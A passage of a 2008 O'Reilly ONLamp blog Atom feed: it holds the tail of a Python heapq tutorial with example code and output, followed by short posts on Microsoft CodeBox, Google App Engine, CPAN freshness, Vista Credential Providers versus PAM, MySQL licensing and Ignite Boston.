/&gt;------------------------------------&lt;br /&gt;&lt;br /&gt;add   9:&lt;br /&gt;&lt;br /&gt;                 9                  &lt;br /&gt;        19        &lt;br /&gt;------------------------------------&lt;br /&gt;&lt;br /&gt;add   4:&lt;br /&gt;&lt;br /&gt;                 4                  &lt;br /&gt;        19                9         &lt;br /&gt;------------------------------------&lt;br /&gt;&lt;br /&gt;add  10:&lt;br /&gt;&lt;br /&gt;                 4                  &lt;br /&gt;        10                9         &lt;br /&gt;    19   &lt;br /&gt;------------------------------------&lt;br /&gt;&lt;br /&gt;add  11:&lt;br /&gt;&lt;br /&gt;                 4                  &lt;br /&gt;        10                9         &lt;br /&gt;    19       11   &lt;br /&gt;------------------------------------&lt;br /&gt;&lt;br /&gt;add   8:&lt;br /&gt;&lt;br /&gt;                 4                  &lt;br /&gt;        10                8         &lt;br /&gt;    19       11       9    &lt;br /&gt;------------------------------------&lt;br /&gt;&lt;br /&gt;add   2:&lt;br /&gt;&lt;br /&gt;                 2                  &lt;br /&gt;        10                4         &lt;br /&gt;    19       11       9        8    &lt;br /&gt;------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;If the data is already in memory, it is more efficient to use &lt;code&gt;heapify()&lt;/code&gt; to rearrange the items of the list in place.&lt;br /&gt;&lt;br /&gt;&lt;div class="syntax"&gt;&lt;pre&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;heapq&lt;/span&gt;&lt;br /&gt;&lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;heapq_showtree&lt;/span&gt; &lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="n"&gt;show_tree&lt;/span&gt;&lt;br /&gt;&lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;heapq_heapdata&lt;/span&gt; &lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="s"&gt;&amp;#39;random    :&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;br /&gt;&lt;span class="n"&gt;heapq&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;heapify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="s"&gt;&amp;#39;heapified :&amp;#39;&lt;/span&gt;&lt;br /&gt;&lt;span class="n"&gt;show_tree&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="syntax"&gt;&lt;pre&gt;&lt;br /&gt;$ python heapq_heapify.py&lt;br /&gt;random    : [19, 9, 4, 10, 11, 8, 2]&lt;br /&gt;heapified :&lt;br /&gt;&lt;br /&gt;                 2                  &lt;br /&gt;        9                 4         &lt;br /&gt;    10       11       8        19   &lt;br /&gt;------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Accessing Contents of a Heap:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Once the heap is organized correctly, use &lt;code&gt;heappop()&lt;/code&gt; to remove the element with the lowest value.  In this example, adapted from the stdlib documentation, &lt;code&gt;heapify()&lt;/code&gt; and &lt;code&gt;heappop()&lt;/code&gt; are used to sort a list of numbers.&lt;br /&gt;&lt;br /&gt;&lt;div class="syntax"&gt;&lt;pre&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;heapq&lt;/span&gt;&lt;br /&gt;&lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;heapq_showtree&lt;/span&gt; &lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="n"&gt;show_tree&lt;/span&gt;&lt;br /&gt;&lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;heapq_heapdata&lt;/span&gt; &lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="s"&gt;&amp;#39;random    :&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;br /&gt;&lt;span class="n"&gt;heapq&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;heapify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="s"&gt;&amp;#39;heapified :&amp;#39;&lt;/span&gt;&lt;br /&gt;&lt;span class="n"&gt;show_tree&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span class="k"&gt;print&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="n"&gt;inorder&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;&lt;br /&gt;&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;br /&gt; &lt;span class="n"&gt;smallest&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;heapq&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;heappop&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;br /&gt; &lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="s"&gt;&amp;#39;pop    &lt;/span&gt;&lt;span class="si"&gt;%3d&lt;/span&gt;&lt;span class="s"&gt;:&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;smallest&lt;/span&gt;&lt;br /&gt; &lt;span class="n"&gt;show_tree&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;br /&gt; &lt;span class="n"&gt;inorder&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;smallest&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="s"&gt;&amp;#39;inorder   :&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;inorder&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="syntax"&gt;&lt;pre&gt;&lt;br /&gt;$ python heapq_heappop.py&lt;br /&gt;random    : [19, 9, 4, 10, 11, 8, 2]&lt;br /&gt;heapified :&lt;br /&gt;&lt;br /&gt;                 2                  &lt;br /&gt;        9                 4         &lt;br /&gt;    10       11       8        19   &lt;br /&gt;------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;pop      2:&lt;br /&gt;&lt;br /&gt;                 4                  &lt;br /&gt;        9                 8         &lt;br /&gt;    10       11       19   &lt;br /&gt;------------------------------------&lt;br /&gt;&lt;br /&gt;pop      4:&lt;br /&gt;&lt;br /&gt;                 8                  &lt;br /&gt;        9                 19        &lt;br /&gt;    10       11   &lt;br /&gt;------------------------------------&lt;br /&gt;&lt;br /&gt;pop      8:&lt;br /&gt;&lt;br /&gt;                 9                  &lt;br /&gt;        10                19        &lt;br /&gt;    11   &lt;br /&gt;------------------------------------&lt;br /&gt;&lt;br /&gt;pop      9:&lt;br /&gt;&lt;br /&gt;                 10                 &lt;br /&gt;        11                19        &lt;br /&gt;------------------------------------&lt;br /&gt;&lt;br /&gt;pop     10:&lt;br /&gt;&lt;br /&gt;                 11                 &lt;br /&gt;        19        &lt;br /&gt;------------------------------------&lt;br /&gt;&lt;br /&gt;pop     11:&lt;br /&gt;&lt;br /&gt;                 19                 &lt;br /&gt;------------------------------------&lt;br /&gt;&lt;br /&gt;pop     19:&lt;br /&gt;&lt;br /&gt;------------------------------------&lt;br /&gt;&lt;br /&gt;inorder   : [2, 4, 8, 9, 10, 11, 19]&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;To remove existing elements and replace them with new values in a single operation, use &lt;code&gt;heapreplace()&lt;/code&gt;.&lt;br /&gt;&lt;br /&gt;&lt;div class="syntax"&gt;&lt;pre&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;heapq&lt;/span&gt;&lt;br /&gt;&lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;heapq_showtree&lt;/span&gt; &lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="n"&gt;show_tree&lt;/span&gt;&lt;br /&gt;&lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;heapq_heapdata&lt;/span&gt; &lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="n"&gt;heapq&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;heapify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="s"&gt;&amp;#39;start:&amp;#39;&lt;/span&gt;&lt;br /&gt;&lt;span class="n"&gt;show_tree&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;&lt;br /&gt; &lt;span class="n"&gt;smallest&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;heapq&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;heapreplace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;br /&gt; &lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="s"&gt;&amp;#39;replace &lt;/span&gt;&lt;span class="si"&gt;%2d&lt;/span&gt;&lt;span class="s"&gt; with &lt;/span&gt;&lt;span class="si"&gt;%2d&lt;/span&gt;&lt;span class="s"&gt;:&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;smallest&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;br /&gt; &lt;span class="n"&gt;show_tree&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This technique lets you maintain a fixed size heap, such as a queue of jobs ordered by priority.&lt;br /&gt;&lt;br /&gt;&lt;div class="syntax"&gt;&lt;pre&gt;&lt;br /&gt;$ python heapq_heapreplace.py&lt;br /&gt;start:&lt;br /&gt;&lt;br /&gt;                 2                  &lt;br /&gt;        9                 4         &lt;br /&gt;    10       11       8        19   &lt;br /&gt;------------------------------------&lt;br /&gt;&lt;br /&gt;replace  2 with  0:&lt;br /&gt;&lt;br /&gt;                 0                  &lt;br /&gt;        9                 4         &lt;br /&gt;    10       11       8        19   &lt;br /&gt;------------------------------------&lt;br /&gt;&lt;br /&gt;replace  0 with  7:&lt;br /&gt;&lt;br /&gt;                 4                  &lt;br /&gt;        9                 7         &lt;br /&gt;    10       11       8        19   &lt;br /&gt;------------------------------------&lt;br /&gt;&lt;br /&gt;replace  4 with 13:&lt;br /&gt;&lt;br /&gt;                 7                  &lt;br /&gt;        9                 8         &lt;br /&gt;    10       11       13       19   &lt;br /&gt;------------------------------------&lt;br /&gt;&lt;br /&gt;replace  7 with  9:&lt;br /&gt;&lt;br /&gt;                 8                  &lt;br /&gt;        9                 9         &lt;br /&gt;    10       11       13       19   &lt;br /&gt;------------------------------------&lt;br /&gt;&lt;br /&gt;replace  8 with  5:&lt;br /&gt;&lt;br /&gt;                 5                  &lt;br /&gt;        9                 9         &lt;br /&gt;    10       11       13       19   &lt;br /&gt;------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Data Extremes:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;heapq&lt;/code&gt; also includes 2 functions to examine an iterable to find a range of the largest or smallest values it contains.  Using &lt;code&gt;nlargest()&lt;/code&gt; and &lt;code&gt;nsmallest()&lt;/code&gt; are really only efficient for relatively small values of n &gt; 1, but can still come in handy in a few cases.&lt;br /&gt;&lt;br /&gt;&lt;div class="syntax"&gt;&lt;pre&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;heapq&lt;/span&gt;&lt;br /&gt;&lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;heapq_heapdata&lt;/span&gt; &lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="s"&gt;&amp;#39;all       :&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;br /&gt;&lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="s"&gt;&amp;#39;3 largest :&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;heapq&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;nlargest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="s"&gt;&amp;#39;from sort :&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;reversed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;:]))&lt;/span&gt;&lt;br /&gt;&lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="s"&gt;&amp;#39;3 smallest:&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;heapq&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;nsmallest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="s"&gt;&amp;#39;from sort :&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)[:&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="syntax"&gt;&lt;pre&gt;&lt;br /&gt;$ python heapq_extremes.py&lt;br /&gt;all       : [19, 9, 4, 10, 11, 8, 2]&lt;br /&gt;3 largest : [19, 11, 10]&lt;br /&gt;from sort : [19, 11, 10]&lt;br /&gt;3 smallest: [2, 4, 8]&lt;br /&gt;from sort : [2, 4, 8]&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;References:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://docs.python.org/lib/node92.html"&gt;heapq Theory&lt;/a&gt;&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Heap_%28data_structure%29"&gt;WikiPedia - Heap Data Structure&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.doughellmann.com/projects/PyMOTW/"&gt;Python Module of the Week Home&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.doughellmann.com/downloads/PyMOTW-1.53.tar.gz"&gt;Download Sample Code&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;!-- Technorati Tags Start --&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Technorati Tags:&lt;br /&gt;&lt;a href="http://technorati.com/tag/python" rel="tag"&gt;python&lt;/a&gt;, &lt;a href="http://technorati.com/tag/PyMOTW" rel="tag"&gt;PyMOTW&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;!-- Technorati Tags End --&gt;    </content>
</entry>
<entry>
    <title>Microsoft CodeBox: Lessons from the Open Source Community</title>
    <link rel="alternate" type="text/html" href="http://www.oreillynet.com/onlamp/blog/2008/05/microsoft_codebox_lessons_from.html" />
    <id>tag:www.oreillynet.com,2008:/onlamp/blog//10.23699</id>
    
    <published>2008-05-09T12:00:00Z</published>
    <updated>2008-05-09T17:06:36Z</updated>
    
    <summary>There&apos;s an interesting four page PDF file that appeared recently on the Microsoft downloads site titled... Open Source at Microsoft CodeBox: Bringing the Open Source Approach In-House It answers the question: Could the community and collaborative concepts that underlie open source projects...</summary>
    <author>
        <name>Todd Ogasawara</name>
            </author>
            <category term="Port25" />
        <content type="html">
&lt;p&gt;There&amp;#8217;s an interesting four page PDF file that appeared recently on the Microsoft downloads site titled&amp;#8230;&lt;/p&gt;
&lt;p&gt;&lt;A HREF="http://download.microsoft.com/download/2/6/7/267E8B26-B94B-4BF6-88E8-32B3B3AF6F09/CodeBox_vfinal.pdf"&gt;Open Source at Microsoft  CodeBox: Bringing the Open Source Approach In-House&lt;/A&gt;&lt;/p&gt;
&lt;p&gt;It answers the question:  &lt;em&gt;Could the community and collaborative concepts that&lt;br /&gt;
underlie open source projects be applied internally to Microsoft product engineering?&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;CodeBox is an software development environment that was developed as an internal tool to help Microsoft apply the Open Source software development model internally. It gives Microsoft&amp;#8217;s programmers and internal tool to manage shared code.&lt;/p&gt;
    </content>
</entry>
<entry>
    <title>Google App Engine Application Request:  Python User Group Website</title>
    <link rel="alternate" type="text/html" href="http://www.oreillynet.com/onlamp/blog/2008/05/google_app_engine_application.html" />
    <id>tag:www.oreillynet.com,2008:/onlamp/blog//10.23700</id>
    
    <published>2008-05-09T10:27:30Z</published>
    <updated>2008-05-09T10:27:34Z</updated>
    
    <summary>If anyone was interested in a great Google App Engine project, I would love to see a community blog/speaker registration tool. Jeff Rush mentioned something like this a couple of PyCons ago, but now there is the technology available for free with...</summary>
    <author>
        <name>Noah Gift</name>
            </author>
            <category term="Technical" />
        <content type="html">
&lt;p&gt;If anyone was interested in a great Google App Engine project, I would love to see a community blog/speaker registration tool.  Jeff Rush mentioned something like this a couple of PyCons ago, but now there is the technology available for free with Google App Engine.  Basically, it would be cool to have a google app engine app that allowed organizers to book meetings and plan them, then post about the meetings, and finally &amp;#8220;book&amp;#8221; speakers that happen to be traveling to that city.&lt;/p&gt;
&lt;p&gt;Currently there is this &lt;a href="http://python-groups.blogspot.com/2008/05/notes-from-socal-piggies-meeting-on-may.html"&gt;blog&lt;/a&gt;, but I find it difficult to post the data there, plus our meetup site, plus by email&amp;#8230;etc.  Making this process easier would be awesome.&lt;/p&gt;
&lt;p&gt;On a side note, is there a chart somewhere that graphs what open source web application components are working and what isn&amp;#8217;t on google app engine.  For example:&lt;/p&gt;
&lt;p&gt;Templates:&lt;/p&gt;
&lt;p&gt;Genshi&lt;br /&gt;
Django&lt;br /&gt;
Mako&lt;/p&gt;
&lt;p&gt;URL:&lt;/p&gt;
&lt;p&gt;blah&lt;/p&gt;
&lt;p&gt;Frameworks:&lt;/p&gt;
&lt;p&gt;blah&lt;/p&gt;
    </content>
</entry>
<entry>
    <title>How Fresh is the CPAN?</title>
    <link rel="alternate" type="text/html" href="http://www.oreillynet.com/onlamp/blog/2008/05/how_fresh_is_the_cpan.html" />
    <id>tag:www.oreillynet.com,2008:/onlamp/blog//10.23697</id>
    
    <published>2008-05-09T00:26:22Z</published>
    <updated>2008-05-09T00:26:29Z</updated>
    
    <summary>I like numbers. They can mean a lot of things. Rather than continuing silly arguments over obfuscated and flawed measurements of &quot;language popularity&quot;, perhaps a better way of measuring the viability of a language or platform is to measure the freshness of...</summary>
    <author>
        <name>chromatic</name>
            </author>
            <category term="Opinion" />
        <content type="html">
&lt;p&gt;I like numbers.  They can mean a lot of things.&lt;/p&gt;

&lt;p&gt;Rather than continuing silly arguments over &lt;a href="http://www.tiobe.com/index.php/content/paperinfo/tpci/index.html"&gt;obfuscated and flawed measurements of &amp;#8220;language popularity&amp;#8221;&lt;/a&gt;, perhaps a better way of measuring the viability of a language or platform is to measure the freshness of its ecosystem.&lt;/p&gt;

&lt;p&gt;LaPerla&amp;#8217;s &lt;a href="http://use.perl.org/~LaPerla/journal/36320"&gt;How Fresh is the CPAN?&lt;/a&gt; measures the upload dates of &lt;a href="http://www.cpan.org/"&gt;one of the world&amp;#8217;s largest and most active repositories of free software&lt;/a&gt;.  Of the 12,000 (or is it 14,000 now?) distributions on the CPAN, 25% have a most recent upload date of February 2008 or newer.  Half have an upload date of 2007 or newer.&lt;/p&gt;

&lt;p&gt;You don&amp;#8217;t get those kinds of statistics by putting &amp;#8220;Ruby Programming&amp;#8221; into Google and pretending the results are meaningful.&lt;/p&gt;

    </content>
</entry>
<entry>
    <title>Microsoft Windows now supports.. PAM!</title>
    <link rel="alternate" type="text/html" href="http://www.oreillynet.com/onlamp/blog/2008/05/microsoft_windows_now_supports.html" />
    <id>tag:www.oreillynet.com,2008:/onlamp/blog//10.23692</id>
    
    <published>2008-05-08T22:01:34Z</published>
    <updated>2008-05-08T22:01:50Z</updated>
    
    <summary>If you are at all familiar with the UNIX or Linux world, you will know about the Pluggable Authentication Module (PAM) functionality. Essentially, PAM is a highly extensible login framework for authenticating and authorizing a user for access to a server. Prior...</summary>
    <author>
        <name>Dustin Puryear</name>
            </author>
            <category term="Port25" />
        <content type="html">
&lt;p&gt;If you are at all familiar with the UNIX or Linux world, you will know about the Pluggable Authentication Module (PAM) functionality. Essentially, PAM is a highly extensible login framework for authenticating and authorizing a user for access to a server. Prior to PAM, most logins worked directly against the local /etc/passwd database, but with PAM, users are authenticated against the PAM library, which in turns relies on a series of &amp;#8220;modules&amp;#8221; (surprise!) that return a Yes/No response. On many UNIX and Linux boxes, PAM still relies on /etc/passwd, but it doesn&amp;#8217;t have to&amp;#8212;and often doesn&amp;#8217;t. For example, LDAP is quite often supported for authentication, and this is done by simply adding the right LDAP module to your PAM configuration.&lt;/p&gt;
&lt;p&gt;Yawn.&lt;/p&gt;
&lt;p&gt;Well, it is all very cool of actually, but it is old news in the UNIX world. &lt;/p&gt;
&lt;p&gt;Now, Windows has supported this, kind of, a little bit, with GINA and GINA chaining and what-have-you, but it is really JUST NOT DONE. In addition, the GINA chaining concept is rarely if ever used. (I have heard because of reliability issues.)&lt;/p&gt;
&lt;p&gt;However, Vista now supports a new model known as Credential Provider, which is deceptively like&amp;#8230; PAM! Well, cool. (And they say Microsoft doesn&amp;#8217;t learn!)&lt;/p&gt;
&lt;p&gt;Anyway, I suggest you take a look at this as it&amp;#8217;s all very nifty stuff:&lt;/p&gt;
&lt;p&gt;&lt;a href="http://blogs.msdn.com/davbosch/archive/2006/06/30/651959.aspx"&gt;Windows Vista Sample Credential Providers Overview&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=1287ec56-77b4-48c4-8b58-35b7295d6c2c&amp;DisplayLang=en"&gt;Credential Provider Samples&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://blogs.msdn.com/windowsvistasecurity/archive/2006/08/25/724271.aspx"&gt;New Authentication Functionality in Windows Vista&lt;/a&gt;&lt;/p&gt;
    </content>
</entry>
<entry>
    <title>MySQL Code, API, and Data Formats Are Open!</title>
    <link rel="alternate" type="text/html" href="http://www.oreillynet.com/onlamp/blog/2008/05/mysql_code_api_and_data_format.html" />
    <id>tag:www.oreillynet.com,2008:/onlamp/blog//10.23680</id>
    
    <published>2008-05-07T13:00:00Z</published>
    <updated>2008-05-07T13:00:04Z</updated>
    
    <summary>OK, I know this is NOT the Inside MySQL blog area. But, MySQL is the &quot;M&quot; in both LAMP and WAMP. And, as one of the people who wasn&apos;t very happy by MySQL&apos;s decision to close source parts of the upcoming MySQL...</summary>
    <author>
        <name>Todd Ogasawara</name>
            </author>
            <category term="Port25" />
        <content type="html">
&lt;p&gt;OK, I know this is NOT the Inside MySQL blog area. But, MySQL is the &amp;#8220;M&amp;#8221; in both LAMP and WAMP. And, as one of the people who wasn&amp;#8217;t very happy by MySQL&amp;#8217;s decision to close source parts of the upcoming MySQL 6.0, I thought I should help spread the good news announced by MySQL&amp;#8217;s VP for Community Relations - Kaj Arnö:&lt;/p&gt;
&lt;p&gt;&lt;a href="http://blogs.mysql.com/kaj/2008/05/06/mysql-server-is-open-source-even-backup-extensions/"&gt;MySQL Server is Open Source, even Backup extensions&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;His six main points are:&lt;/p&gt;
&lt;p&gt;- MySQL Server is and will always remain fully functional and open source&lt;br /&gt;
- MySQL Connectors will be open source&lt;br /&gt;
- The main storage engines will be open source&lt;br /&gt;
- MySQL 6.0&amp;#8217;s pending backup functionality will be open source&lt;br /&gt;
- The MyISAM driver for MySQL Backup will be open source, and&lt;br /&gt;
- The encryption and compression backup features will be open source&lt;/p&gt;
&lt;p&gt;FYI: &lt;a href="http://port25.technet.com/search.aspx?q=mysql&amp;tags="&gt;MySQL related blog posts on Port 25&lt;/a&gt;&lt;/p&gt;
    </content>
</entry>
<entry>
    <title>Ignite Boston 3</title>
    <link rel="alternate" type="text/html" href="http://www.oreillynet.com/onlamp/blog/2008/05/ignite_boston_3.html" />
    <id>tag:www.oreillynet.com,2008:/onlamp/blog//10.23682</id>
    
    <published>2008-05-07T12:24:55Z</published>
    <updated>2008-05-07T12:24:58Z</updated>
    
    <summary>The third Ignite Boston will be on Thursday, May 29, from 6 to 10pm in Harvard Square.</summary>
    <author>
        <name>Mike Hendrickson</name>
        <uri>http://www.oreillynet.com</uri>    </author>
            <category term="News" />
        <content type="html">
&lt;img src="http://ignite.oreilly.com/Skyline.jpg" width="380" height="260" border="1" align="right" hspace="4" vspace="4" alt="Skyline.jpg" /&gt;
&lt;p&gt;&lt;/p&gt;&lt;p&gt;
